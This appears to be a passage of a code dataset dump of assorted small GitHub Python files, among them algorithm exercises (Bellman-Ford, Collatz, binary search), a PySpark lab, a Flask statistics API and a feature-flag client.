False\n\n# 노드의 개수, 간선의 개수를 입력 받기\nn, m = map(int, input().split())\nedges = []\ndist = [INF] * (n + 1)\n\nfor _ in range(m) :\n a, b, c = map(int, input().split())\n edges.append((a, b, c))\n\n# 벨만 포드 알고리즘을 수행\nnegative_cycle = bf(1) # 1번 노드 시작\n\nif negative_cycle :\n print('-1')\nelse :\n for i in range(2, n + 1) :\n if dist[i] == INF :\n print('-1')\n else :\n print(dist[i])\n ","repo_name":"baechanghyeon/algorithm","sub_path":"이코테/Bellman.py","file_name":"Bellman.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"13065947773","text":"def checkio(matrix):\n for row in matrix: # horizontal\n if chunk_checker(''.join(str(a) for a in row)):\n return True\n for column in zip(*matrix): # vertical\n if chunk_checker(''.join(str(b) for b in column)):\n return True\n if diagonal(matrix): # diagonal\n return True\n return diagonal([c[::-1] for c in matrix]) # reverse the list\n\n\ndef chunk_checker(txt):\n if len(txt) >= 4:\n for num in set(txt):\n if num * 4 in txt:\n return True\n return False\n\n\ndef diagonal(lst):\n height = len(lst)\n width = len(lst[0])\n for d in range(height):\n nw_se = list()\n curr_x = d\n for e in range(width): # NW - SE\n if curr_x >= height:\n break\n nw_se.append(str(lst[curr_x][e]))\n curr_x += 1\n if chunk_checker(''.join(nw_se)):\n return True\n\n sw_ne = list()\n curr_x = d\n for f in range(width): # SW - NE\n if curr_x < 0:\n break\n sw_ne.append(str(lst[curr_x][f]))\n curr_x -= 1\n if chunk_checker(''.join(sw_ne)):\n return True\n return False\n\n\nprint(checkio([[1, 2, 1, 1],\n [1, 1, 4, 1],\n [1, 3, 1, 6],\n [1, 7, 2, 5]]))\n\nprint(checkio([[7, 1, 4, 1],\n [1, 2, 5, 2],\n [3, 4, 1, 3],\n [1, 1, 8, 1]]))\n\nprint(checkio([[2, 1, 1, 6, 1],\n [1, 3, 2, 1, 1],\n [4, 1, 1, 3, 1],\n [5, 5, 5, 5, 5],\n [1, 1, 3, 1, 1]]))\n\nprint(checkio([[7, 1, 1, 8, 1, 1],\n [1, 1, 7, 3, 1, 5],\n [2, 3, 1, 2, 5, 1],\n [1, 1, 1, 5, 1, 4],\n [4, 6, 5, 1, 3, 1],\n [1, 1, 9, 1, 2, 1]]))\n","repo_name":"a1ip/Check_iO","sub_path":"Electronic Station/find_sequence.py","file_name":"find_sequence.py","file_ext":"py","file_size_in_byte":1830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7252056086","text":"from pyspark import SparkContext\nfrom pyspark.sql import SQLContext, Row\nfrom pyspark.sql import functions as F\nfrom pyspark.sql import HiveContext\n\nsc = SparkContext(appName = \"Lab2ex3\")\nsqlContext = SQLContext(sc)\n\ntemp_file = sc.textFile(\"BDA/input/temperature-readings.csv\")\ntemp_lines = temp_file.map(lambda line: line.split(\";\"))\nprec_file = sc.textFile(\"BDA/input/precipitation-readings.csv\")\nprec_lines = prec_file.map(lambda line: line.split(\";\"))\n\ntempReadingsRow = temp_lines.map(lambda p: Row(station=p[0], date=p[1], year=p[1].split(\"-\")[0], month=p[1].split(\"-\")[1], day=p[1].split(\"-\")[2], time=p[2], value=float(p[3])))\n\nprecReadingsRow = prec_lines.map(lambda p: Row(station=p[0], date=p[1], year=p[1].split(\"-\")[0], month=p[1].split(\"-\")[1], day=p[1].split(\"-\")[2], time=p[2], value=float(p[3])))\n\nschemaTempReadings = sqlContext.createDataFrame(tempReadingsRow)\nschemaTempReadings.registerTempTable(\"tempReadingsTable\")\n\nschemaPrecReadings = sqlContext.createDataFrame(precReadingsRow)\nschemaTempReadings.registerTempTable(\"precReadingsTable\")\n\ndaily_prec = schemaPrecReadings.select(\"year\", \"month\", \"day\", \"station\", \"value\").groupBy(\"year\", \"month\", \"day\", \"station\").agg(F.sum(\"value\").alias(\"sumPrec\"))\n\ndaily_temp = schemaTempReadings.select(\"year\", \"month\", \"day\", \"station\", \"value\").groupBy(\"year\", \"month\", \"day\", \"station\").agg(F.max(\"value\").alias(\"maxTemp\"))\n\nprec_temp = daily_prec.join(daily_temp, [\"year\", \"month\", \"day\", \"station\"]).select(\"station\", \"sumPrec\", \"maxTemp\").groupBy(\"station\").agg(F.max(\"sumPrec\").alias(\"stationMaxPrec\"), F.max(\"maxTemp\").alias(\"stationMaxTemp\")).orderBy(\"station\", ascending=False)\n\nfiltered_max = prec_temp.filter((prec_temp[\"stationMaxPrec\"] >= 100) & (prec_temp[\"stationMaxPrec\"] <= 200) & (prec_temp[\"stationMaxTemp\"] >= 25) & (prec_temp[\"stationMaxTemp\"] <= 30))\n\n\nfiltered_max.rdd.coalesce(1,shuffle=True).saveAsTextFile(\"BDA/output\")\n","repo_name":"davidgumpert/TDDE31_Big_Data_Analytics","sub_path":"lab2-sparksql/lab2ex4.py","file_name":"lab2ex4.py","file_ext":"py","file_size_in_byte":1911,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18093692129","text":"import math\n\nclass Gene():\n\n def __init__(self, center, radius, colors, width, height):\n \n # If the gene is completely outside the image, its validity value is False\n if(not self.collision(0, 0, width, height, center[0], center[1], radius)):\n self.center = center\n self.radius = radius\n self.valid = False\n else:\n self.center = center\n self.radius = radius\n self.valid = True\n\n if len(colors) != 4:\n print(\"Missing color value. Correct syntax: (R, G, B, ALPHA)\")\n exit()\n elif (False in [(0 <= color <= 255) for color in colors[:-1]]) or (not 0 <= colors[-1] <= 1):\n print(\"Invalid color value! The correct value range: 0<=RGB<=255 and 0<=A<=1\")\n exit()\n else:\n self.colors = colors[:-1]\n self.alpha = colors[-1]\n \n # Check if the gene's brushstroke coincides with the image border\n def collision(self, rleft, rtop, width, height, # rectangle definition\n center_x, center_y, radius): # circle definition\n \"\"\" Detect collision between a rectangle and circle. \"\"\"\n\n # complete boundbox of the rectangle\n rright, rbottom = rleft + width, rtop + height\n\n # bounding box of the circle\n cleft, ctop = center_x-radius, center_y-radius\n cright, cbottom = center_x+radius, center_y+radius\n\n # trivial reject if bounding boxes do not intersect\n if rright < cleft or rleft > cright or rbottom < ctop or rtop > cbottom:\n return False # no collision possible\n\n # check whether any point of rectangle is inside circle's radius\n for x in (rleft, rleft+width):\n for y in (rtop, rtop+height):\n # compare distance between circle's center point and each point of\n # the rectangle with the circle's radius\n if math.hypot(x-center_x, y-center_y) <= radius:\n return True # collision detected\n\n # check if center of circle is inside rectangle\n if rleft <= center_x <= rright and rtop <= center_y <= rbottom:\n return True # overlaid\n\n return False # no collision detected","repo_name":"oddogan/PaintingwithEvolutionaryAlgorithm","sub_path":"gene.py","file_name":"gene.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22195339712","text":"import requests\nimport json\n\n\nclass FfcClient:\n __api_base_rl = 'https://api.feature-flags.co'\n __variation_url_part = '/Variation/GetUserVariationResultInJson'\n\n def __init__(self, env_secret, user):\n self.env_secret = env_secret\n self.user = user\n\n def variation(self, feature_flag_key, default_result=True):\n payload = {\n 'featureFlagKeyName': feature_flag_key,\n 'environmentSecret': self.env_secret,\n 'ffUserName': self.user.user_name,\n 'ffUserEmail': self.user.email,\n 'ffUserCountry': self.user.country,\n 'ffUserKeyId': self.user.key,\n 'ffUserCustomizedProperties': self.user.customize_properties\n }\n\n try:\n result = requests.post(self.__api_base_rl + self.__variation_url_part, data=json.dumps(payload))\n\n if result.status_code == 200:\n return result.json().get('variationResult', default_result)\n else:\n return default_result\n except: # catch *all* exceptions\n return default_result\n","repo_name":"Lianghn/ffc-python-sdk","sub_path":"src/feature_flags_co/ffc_client.py","file_name":"ffc_client.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2039527480","text":"from flask import Flask,jsonify,request\nimport json\nimport statistics\n\nwith open(\"data.json\", \"r\") as read_file:\n\tdata = json.load(read_file)\n\napp = Flask(__name__)\n\n#### 'home' endpoint - contains the whole JSON data ####\n@app.route('/')\ndef home():\n\tprint(data)\n\treturn jsonify(data)\n\n################################################\n#\n#\t\"get index\" endpoint\n#\tinput : list of counties\n#\toutput : index values of the list of given counties\n#\n################################################\n@app.route('/happiness')\ndef get_happiness():\n\tcounty_list = request.args.getlist('county')\n\tif not county_list:\n\t\tprint(\"{'message' : 'No county value was received' }\")\n\t\treturn jsonify({'message' : 'No county value was received' })\n\n\tnew_data = {}\n\tfor c in county_list:\n\t\tif c in data:\n\t\t\tnew_data[c] = data[c]\n\t\telse:\n\t\t\tprint(\"{'message' : 'county not found'}\")\n\t\t\treturn jsonify({'message' : 'county not found'})\n\n\tprint(new_data)\n\treturn jsonify(new_data)\n\n################################################\n#\n#\t\"get average\" endpoint\n#\tinput : list of counties\n#\toutput : average index value of the list of given counties\n#\n################################################\n@app.route('/happiness/average')\ndef get_average():\n\tcounty_list = request.args.getlist('county')\n\tif not county_list:\n\t\tprint(\"{'message' : 'No county value was received' }\")\n\t\treturn jsonify({'message' : 'No county value was received' })\n\tval = 0\n\tnum = 0\n\tfor c in county_list:\n\t\tif c not in data:\n\t\t\tprint(\"{'message' : 'county not found'}\")\n\t\t\treturn jsonify({'message' : 'county not found'})\n\t\tval += data[c]\n\t\tnum += 1\n\n\tif num > 0:\n\t\tval = val / num\n\t\tnew_data = {\n\t\t\t'average' : val\n\t\t}\n\t\tprint(new_data)\n\t\treturn jsonify(new_data)\n\telse:\n\t\tprint(\"{'message' : 'county not found'}\")\n\t\treturn jsonify({'message' : 'county not found'})\n\n################################################\n#\n#\t\"get median\" endpoint\n#\tinput : list of counties\n#\toutput : median index value of the list of given counties\n#\n################################################\n@app.route('/happiness/median')\ndef get_median():\n\tcounty_list = request.args.getlist('county')\n\t#### if no county value was received, emit error ####\n\tif not county_list:\n\t\tprint(\"{'message' : 'No county value was received' }\")\n\t\treturn jsonify({'message' : 'No county value was received' })\n\n\tval_list = []\n\tfor c in county_list:\n\t\tif c not in data:\n\t\t\tprint(\"{'message' : 'county not found' }\")\n\t\t\treturn jsonify({'message' : 'county not found'})\n\t\tval_list.append(data[c])\n\n\tval_list.sort()\n\tlength = len(val_list)\n\tif length == 0:\n\t\tprint(\"{'message' : 'No county value was received' }\")\n\t\treturn jsonify({'message' : 'No county value was received' })\n\n\tif length % 2 == 0:\n\t\tmed = (val_list[int((length-1)/2)] + val_list[int((length+1)/2)]) / 2.0\n\t\tnew_data = {\n\t\t\t'median' : med\n\t\t}\n\t\tprint(new_data)\n\t\treturn jsonify(new_data)\n\telse:\n\t\tmed = val_list[int(length/2)]\n\t\tnew_data = {\n\t\t\t'median' : med\n\t\t}\n\t\tprint(new_data)\n\t\treturn jsonify(new_data)\n\n################################################\n#\n#\t\"get counties in range\" endpoint\n#\tinput : range of index value\n#\toutput : list of counties with index that is \n#\t\t\twithin the given range\n#\n################################################\n@app.route('/happiness/range')\ndef get_county_in_range():\n\tindex_startRange = request.args.get('from',None)\n\tindex_endRange = request.args.get('to',None)\n\t#### if no start/end range was received, emit error ####\n\tif index_startRange == None or index_endRange == None \\\n\tor not index_startRange or not index_endRange:\n\t\tprint(\"{'message' : 'Invalid Range' }\")\n\t\treturn jsonify({'message' : 'Invalid Range' })\n\n\tindex_startRange, index_endRange = float(index_startRange), float(index_endRange)\n\t#### if end range value is less than start, swap ####\n\tif index_endRange < index_startRange:\n\t\tindex_startRange, index_endRange = index_endRange, index_startRange\n\n\tnew_data = {}\n\tfor d in data:\n\t\tif index_startRange <= data[d] <= index_endRange:\n\t\t\tnew_data[d] = data[d]\n\n\t#### if new dictionary is empty, emit error ####\n\tif not new_data:\n\t\tprint(\"{'message' : 'No county found within the given index range' }\")\n\t\treturn jsonify({'message' : 'No county found within the given index range' })\n\n\tprint(new_data)\n\treturn jsonify(new_data)\n\n################################################\n#\n#\t\"get standard deviation in range\" endpoint\n#\tinput : range of county value\n#\toutput : standard deviation of the list of counties \n#\t\t\tthat are within the given county range\n#\n################################################\n@app.route('/happiness/stdev')\ndef get_stdev():\n\tcounty_startRange = request.args.get('from',None)\n\tcounty_endRange = request.args.get('to',None)\n\t#### if no start/end range was received, emit error ####\n\tif county_startRange == None or county_endRange == None \\\n\tor not county_endRange or not county_startRange:\n\t\tprint(\"{'message' : 'Invalid Range' }\")\n\t\treturn jsonify({'message' : 'Invalid Range' })\n\n\tcounty_startRange, county_endRange = float(county_startRange), float(county_endRange)\n\t#### if end range value is less than start, swap ####\n\tif county_endRange < county_startRange: \n\t\tcounty_startRange, county_endRange = county_endRange, county_startRange\n\n\tnew_data = {}\n\tval_list = []\n\tfor d in data:\n\t\tcounty = float(d)\n\t\tif county_startRange <= county <= county_endRange:\n\t\t\tnew_data[d] = data[d]\n\t\t\tval_list.append(data[d])\n\n\t#### if new dictionary is empty, emit error ####\n\tif not new_data:\n\t\tprint(\"{'message' : 'No county found within the given county range' }\")\n\t\treturn jsonify({'message' : 'No county found within the given county range' })\n\n\tval_list.sort()\n\tnew_data.update( {'stdev' : statistics.stdev(val_list) })\n\n\tprint(new_data)\n\treturn jsonify(new_data)\n\n\napp.run()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Chaeun-Kim/emsiAssignment","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17711082807","text":"from .config_parser import read_config\n\n\nDEFAULT_CONFIG = {\n \"WTF_CSRF_ENABLED\": True,\n \"LOG_FILENAME\": \"None\",\n \"MAX_CONTENT_LENGTH\": 1073741824,\n \"SQLALCHEMY_TRACK_MODIFICATIONS\": False,\n \"TRACK_USER_INTERACTION\": False,\n \"TRACK_CREDITS\": False,\n \"DOMAIN_NAME\": \"localhost\",\n \"LOGIN_INSTRUCTIONS\": None,\n \"SIGN_UP_INSTRUCTIONS\": None,\n \"SIGN_UP_ASK_SOCIAL_MEDIA\": False,\n \"PRIVACY_POLICY_PAGE\": None,\n \"THREADPOOL_MAX_WORKERS\": 2,\n}\n\n\ndef _read_if_html_path(txt: str) -> str:\n \"\"\"Open HTML file if path provided\n\n If the input is a path to a valid HTML file, read it.\n Otherwise return the input\n \"\"\"\n if txt and txt.endswith(\".html\"):\n with open(txt, \"rt\") as fh:\n txt = fh.read()\n return txt\n\n\ndef generate_flask_config(config):\n \"\"\"Generate the configuration to deal with Flask.\n\n Parameters\n ----------\n config : dict or str\n Either the loaded configuration or the configuration YAML file.\n\n Returns\n -------\n flask_config : dict\n The configuration for the RAMP worker.\n \"\"\"\n if isinstance(config, str):\n config = read_config(config, filter_section=[\"flask\", \"sqlalchemy\"])\n\n flask_config = DEFAULT_CONFIG.copy()\n user_flask_config = {key.upper(): value for key, value in config[\"flask\"].items()}\n flask_config.update(user_flask_config)\n\n for key in [\n \"LOGIN_INSTRUCTIONS\",\n \"SIGN_UP_INSTRUCTIONS\",\n \"PRIVACY_POLICY_PAGE\",\n ]:\n flask_config[key] = _read_if_html_path(flask_config[key])\n\n database_config = config[\"sqlalchemy\"]\n flask_config[\"SQLALCHEMY_DATABASE_URI\"] = \"{}://{}:{}@{}:{}/{}\".format(\n database_config[\"drivername\"],\n database_config[\"username\"],\n database_config[\"password\"],\n database_config[\"host\"],\n database_config[\"port\"],\n database_config[\"database\"],\n )\n return flask_config\n","repo_name":"paris-saclay-cds/ramp-board","sub_path":"ramp-utils/ramp_utils/frontend.py","file_name":"frontend.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"71105547733","text":"def solution(n, times):\n times.sort()\n\n min_n = 0\n max_n = times[-1] * n\n mid_n = int((min_n + max_n) / 2)\n\n while True:\n tmp_sum = sum([mid_n // item for item in times])\n if tmp_sum >= n:\n max_n = mid_n\n mid_n = int((min_n + max_n) / 2)\n else:\n min_n = mid_n\n mid_n = int((min_n + max_n) / 2)\n if min_n == mid_n:\n break\n\n return max_n\n\n\n","repo_name":"KaJaeHyeob/Coding_Test","sub_path":"py/Programmers/입국심사/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8523003140","text":"from meeting.models.scrape import scrape\nfrom datetime import datetime\nimport re\n\n\ndef update():\n current_year = datetime.now().year\n current_month = datetime.now().month\n if current_month <= 3:\n current_year -= 1\n BBS_URL = (\n \"https://wiki.mma.club.uec.ac.jp/bbs/%E9%83%A8%E4%BC%9A%E3%82%B9%E3%83%AC\"\n + str(current_year)\n + \"/?action=login\"\n )\n\n soup = scrape(BBS_URL)\n tbody = soup.find(\"tbody\")\n mat = []\n trs = tbody.find_all(\"tr\")\n for tr in trs:\n r = []\n for td in tr.find_all(\"td\"):\n instead = [\n \"\",\n \"\",\n \"\",\n \"\",\n '',\n '',\n \"\",\n ]\n td = str(td).replace(\"
\", \"\\n\")\n td = re.sub(r\"\", \"\", td)\n for item in instead:\n td = str(td).replace(item, \"\")\n r.append(td)\n mat.append(r)\n\n return mat[0:-1]\n","repo_name":"gae-22/club_meeting","sub_path":"meeting/models/thread.py","file_name":"thread.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28027299917","text":"\"\"\"\n96. Unique Binary Search Trees\n\nGiven an integer n, return the number of structurally unique BST's (binary search trees) which has exactly n nodes of unique values from 1 to n.\n\nInput: n = 3\nOutput: 5\nExample 2:\n\nInput: n = 1\nOutput: 1\n\n\"\"\"\nclass Solution:\n def numTrees(self, n: int) -> int:\n dp = [0] * (n + 1)\n dp[0] = 1 # Base case: empty tree is considered a valid BST\n\n for i in range(1, n + 1):\n for j in range(1, i + 1):\n # dp[j-1] is the number of unique BSTs for the left subtree\n # dp[i-j] is the number of unique BSTs for the right subtree\n dp[i] += dp[j - 1] * dp[i - j]\n print(dp, i, j)\n\n return dp[n]\n\n# Example usage\nn = 3\nsolution = Solution()\nunique_bsts = solution.numTrees(n)\nprint(unique_bsts) # Output: 5","repo_name":"laxman590249/Data-Structures","sub_path":"DataStructures/Trees/CountUniqueTree.py","file_name":"CountUniqueTree.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16372092130","text":"import os\nimport requests\nfrom bs4 import BeautifulSoup\n\nCSV_NAME = 'csv'\nPRINT_EVEREY_VACS = 50\n\n\ndef create_csv_dir():\n if not os.path.isdir(CSV_NAME):\n os.mkdir(CSV_NAME)\n\n\ndef load_curr_rates(vals):\n r = requests.get('http://www.cbr.ru/scripts/XML_daily.asp')\n cr = BeautifulSoup(r.text, 'lxml')\n cur = {}\n for v in vals:\n try:\n node = cr.find(text=v).parent.parent\n cur[v] = float(node.value.text.replace(',', '.'))\n except Exception as err:\n print(err)\n return cur\n","repo_name":"ivaninkv/hhru","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7085246491","text":"\"\"\"\nProject Euler Problem 14: Longest Collatz sequence\n\"\"\"\n\n# Which starting number under one million produces the longest Collatz chain?\n\n# The simple solution\n\n\nfrom timeit import default_timer as timer\n\n\nstart = timer()\ndef collatz_counter(start):\n # Function to count the number of terms in a Collatz sequence starting with 'start'\n counter = 1 # Initialize the counter\n while start != 1:\n if start % 2 == 0: # If the number is even\n start /= 2\n counter += 1\n else: # If the number is odd\n start = 3*start + 1\n counter += 1\n return counter\n\n\ntop = 10**5 - 1\nmaximum = 1\nfor i in range(1, top):\n counter = collatz_counter(i)\n if counter > maximum:\n max_start = i\n maximum = counter\nend = timer()\n\nprint(max_start)\nprint(end - start)\n\n# A slightly faster solution\n\nstart = timer()\n\n\ndef collatz(start):\n collatz_list = [start]\n while collatz_list[-1] != 1:\n if collatz_list[-1] % 2 == 0:\n collatz_list.append(collatz_list[-1]//2)\n else:\n collatz_list.append(3*collatz_list[-1] + 1)\n return collatz_list\n\n\narray = [True] * (top - 1)\nmax_length = 1\nmax_start = 1\nfor i in range(top - 1):\n if array[i]:\n collatz_list = collatz(i + 1)\n for el in collatz_list:\n if el < top:\n array[el - 1] = False\n if len(collatz_list) > max_length:\n max_length = len(collatz_list)\n max_start = i + 1\n\nend = timer()\n\nprint(max_start)\nprint(end - start)\n\n\n# A more slightly faster solution\n\nstart = timer()\n\narray = [True] * top\nmax_length = 1\nmax_start = 1\nfor i in range(1, top):\n if array[i - 1]:\n counter = 0\n start_term = i\n while i > 1:\n counter += 1\n if i % 2 == 0:\n i //= 2\n else:\n i = 3*i + 1\n if i < top - 1:\n array[i - 1] = False\n if counter > max_length:\n max_length = counter\n max_start = start_term\nend = timer()\n\nprint(max_start)\nprint(end - start)\n","repo_name":"wandrewjam/project-euler","sub_path":"python/problem14.py","file_name":"problem14.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28908648904","text":"class Solution:\n def shiftingLetters(self, S: str, shifts: List[int]) -> str:\n if not shifts:\n return S\n shifts[-1] %= 26\n for i in range(len(shifts)-2, -1, -1):\n shifts[i] = (shifts[i] + shifts[i+1]) % 26\n ans = \"\"\n for i, v in enumerate(shifts):\n ans += chr((ord(S[i]) + v-97)%26 + 97)\n return ans\n","repo_name":"longhao54/leetcode","sub_path":"normal/848.py","file_name":"848.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2575752077","text":"#!/usr/bin/env python\n\nimport os\nimport itertools\nimport argparse\nimport numpy as np\nimport matplotlib\n# matplotlib.use(\"pdf\")\nimport matplotlib.pyplot as plt\nfrom presto.filterbank import FilterbankFile, create_filterbank_file\nfrom presto import spectra as spec\nimport copy\nfrom multiprocessing import Pool\nimport sigpyproc\nfrom sigpyproc import utils as u\nimport sys\n# define the random number generator\n#np.random.seed(12345)\n\n# TRIAL_SNR = [10]\n # 0.8,\n# ] # total S/N of pulse\nTRIAL_SNR = np.linspace(0.1,4,30)\n# TRIAL_SNR=[2,3,4,5,6,7,8,9,10]\n# TRIAL_SNR = [5]\nTRIAL_DMS = [\n 100,\n] # DM of bursts\n\nDM_CONST = 4149.377593360996 # dispersion constant\n\n\ndef dm_delay(dm, f1, f2):\n \"\"\"Return DM delay in seconds\"\"\"\n return DM_CONST * dm * (1.0 / f2 ** 2 - 1.0 / f1 ** 2)\n\n\ndef time_to_bin(t, sample_rate):\n \"\"\"Return time as a bin number provided a sampling time\"\"\"\n return np.round(t / sample_rate).astype(int)\n\n\ndef scale_to_uint8(a):\n \"\"\"\n Rescale an array to fit within the dynamic range\n available to uint8. Shifts most negative value to 0.\n \"\"\"\n mn = a.min()\n mx = a.max()\n\n mx -= mn\n\n a = ((a - mn) / mx) * 255\n return a.astype(np.uint8)\n\ndef create_pulse_attributes(npulses=1, duration=200,min_sep=2):\n \"\"\"\n For a given number of pulses over a certain time duration,\n create an injection sample based on the pre-determined list\n of S/N and DM values.\n \"\"\"\n max_dm_delay = dm_delay(max(TRIAL_DMS), 800, 400)\n\n toas = np.zeros(npulses)+duration\n while max(toas)>(duration-max_dm_delay):\n dtoa = np.zeros(npulses+1)\n while min(dtoa)(duration-5)):\n print(\"too many pulses for length, toas:\",toas)\n sys.exit(1)\n if len(toas)==1:\n break\n # get the cartesian product so that we have a generator of TOA x SNR x DM\n grid_coords = np.array([*itertools.product(toas, TRIAL_SNR, TRIAL_DMS)])\n\n # save the injection sample to a numpy file\n print(\"saving injection sample to: sample_injections.npy\")\n downsamp = 3\n stats_window = 0.9\n np.savez(\"sample_injections\", grid=grid_coords,downsamp=downsamp,stats_window=stats_window)\n\n return grid_coords, npulses, len(TRIAL_SNR), len(TRIAL_DMS), downsamp, stats_window\n\ndef adjusted_peak(desired_a,tsamp,sigma,ds):\n #calculate the adjusted peak height after downsampling\n #width in bins\n width_bins = sigma/tsamp\n sum_term = 0\n for i in range(int(ds)):\n sum_term+= np.exp(-(-i)**2/(2*width_bins))\n new_peak = sum_term/ds\n new_amplitude = desired_a/new_peak\n return new_amplitude\n\n\ndef inject_pulses(data,masked_chans,header, freqs, pulse_attrs,downsamp,stats_window,plot=False):\n \"\"\"For a given set of pulses, inject them into sample data\"\"\"\n # get the noise level in each channel\n # print(\"estimating initial noise values pre-injection\")\n # per_chan_noise = np.std(data, axis=1)\n tsamp = header.tsamp\n statistics = []\n #10s stats window\n for i, p in enumerate(pulse_attrs):\n p_toa, p_snr, p_dm = p\n print(\"computing toas per channel\")\n # start the pulse 100 samples after the first simulated time step\n toa_bin_top = 0\n # assume TOA is arrival time at top of band\n max_dm_delay = dm_delay(p_dm, max(freqs), min(freqs))\n print(f\"max dm delay {max_dm_delay}\")\n max_dm_delay_bins = time_to_bin(max_dm_delay, tsamp)\n print(f\"dm delay across band = {max_dm_delay} s = {max_dm_delay_bins} bins\")\n nbins_to_sim = max_dm_delay_bins\n x = np.linspace(0, nbins_to_sim, nbins_to_sim)\n\n # pulse peak time at each frequency\n dm_delays = dm_delay(p_dm, freqs[0], freqs)\n per_chan_toa_bins = toa_bin_top + time_to_bin(dm_delays, tsamp)\n\n #get the data to do statistics\n if p_toa= 0:\n radius.append(r[i])\n \nprint (radius[-1])\n\nplt.figure()\nplt.plot(r,velocity_total,color = \"deepskyblue\")\nplt.plot(r,velocity_bhlist,color = \"lawngreen\")\nplt.plot(r,velocity_starslist,color = \"gold\")\nplt.title('Velocity Dispersion Part (b)')\nplt.xlabel('Distance r (pc)')\nplt.ylabel('Velocity Dispersion (km/s)')\nplt.grid()\nplt.savefig('2c2.png')\n\n\n\n\n","repo_name":"Joshualau23/Physics-474","sub_path":"Assignment4.py","file_name":"Assignment4.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7386281769","text":"import random\nimport numpy as np\n\ndef codec_to_columns(codec):\n ''' Convert a categorical codec value to column values\n '''\n mapping = {'\"flv\"': [1, 0, 0, 0],\n '\"mpeg4\"': [0, 1, 0, 0],\n '\"h264\"': [0, 0, 1, 0],\n '\"vp8\"': [0, 0, 0, 1]}\n return mapping[codec]\n\n\ndef read_and_copy(filename, out_file):\n ''' Read content from a file and convert to list of values\n Also copy the content to out_file\n '''\n records = []\n in_file = open(filename, 'r')\n in_file.readline()\n for line in in_file:\n tokens = line.split()\n record = [float(tokens[1])] +\\\n codec_to_columns(tokens[2]) +\\\n [float(x) for x in tokens[3:14]] +\\\n codec_to_columns(tokens[15]) +\\\n [float(x) for x in tokens[16:]]\n records.append(record)\n out_file.write(record_to_line(record))\n in_file.close()\n return records\n\n\ndef record_to_line(values):\n ''' Convert a record to a line\n '''\n strs = [str(x) for x in values]\n return ','.join(strs) + '\\n'\n\n\ndef gen_new_record(records):\n ''' Generate a new record.\n '''\n record = records[random.randint(0, len(records) - 1)]\n new_record = list(record)\n for i in range(len(new_record)):\n if 1<= i <= 3 or 16 <= i <= 18:\n continue\n new_record[i] += np.random.normal()\n return new_record\n\n\ndef main():\n ''' Main function\n '''\n target_line_count = 800000000\n out_file = open('scaled_transcoding_mesurment.csv', 'w')\n records = read_and_copy('transcoding_mesurment.tsv', out_file)\n for _ in range(len(records), target_line_count+1):\n new_record = gen_new_record(records)\n out_file.write(record_to_line(new_record))\n out_file.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"sensssz/ApproML","sub_path":"preprocess_transcoding.py","file_name":"preprocess_transcoding.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43582259960","text":"from turtle import title\nfrom typing import Optional\nfrom fastapi import FastAPI\nfrom fastapi.params import Body\nfrom pydantic import BaseModel\n\napp = FastAPI()\n\n\nclass Post(BaseModel):\n title: str\n content: str\n published: bool = True\n rating: int = None\n\n\n@app.get(\"/\")\nasync def root():\n return {\"message\": \"Awesome!!!\"}\n\n\n@app.get(\"/hosts\")\ndef get_posts():\n return {\"data\": \"your post has been liked\"}\n\n\n@app.post(\"/createposts\")\ndef create_posts(new_post: Post):\n print(new_post)\n print(new_post.dict())\n return {\"data\": \"new_post\"}\n","repo_name":"sharathsan/FASTAPI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72142922775","text":"import sys\nimport datetime\n\nfrom PySide2.QtCore import Qt\nfrom PySide2.QtGui import QKeySequence, QPalette, QIntValidator, QFont, QPalette, QColor, QPixmap\nfrom PySide2.QtWidgets import (QApplication, QWidget, QStyleFactory, QDialog, QShortcut,\n QHeaderView, QListView, QStyledItemDelegate, QStyleFactory)\n\nimport spartan\nimport req\nfrom gui_constants import *\nimport gui_helpers\nfrom model.requirements_model import RequirementsModel\nfrom delegate.lineedit_delegate import LineEditDelegate\nfrom ui.ui_reqwidget import Ui_ReqWidget\n\n\nclass ReqWidget(QWidget, Ui_ReqWidget):\n def __init__(self, person, sex, bd_year, bd_mon, bd_day, parent=None):\n super().__init__(parent)\n self.setupUi(self)\n self.person = person\n self.sex = sex\n self.bd_year = bd_year\n 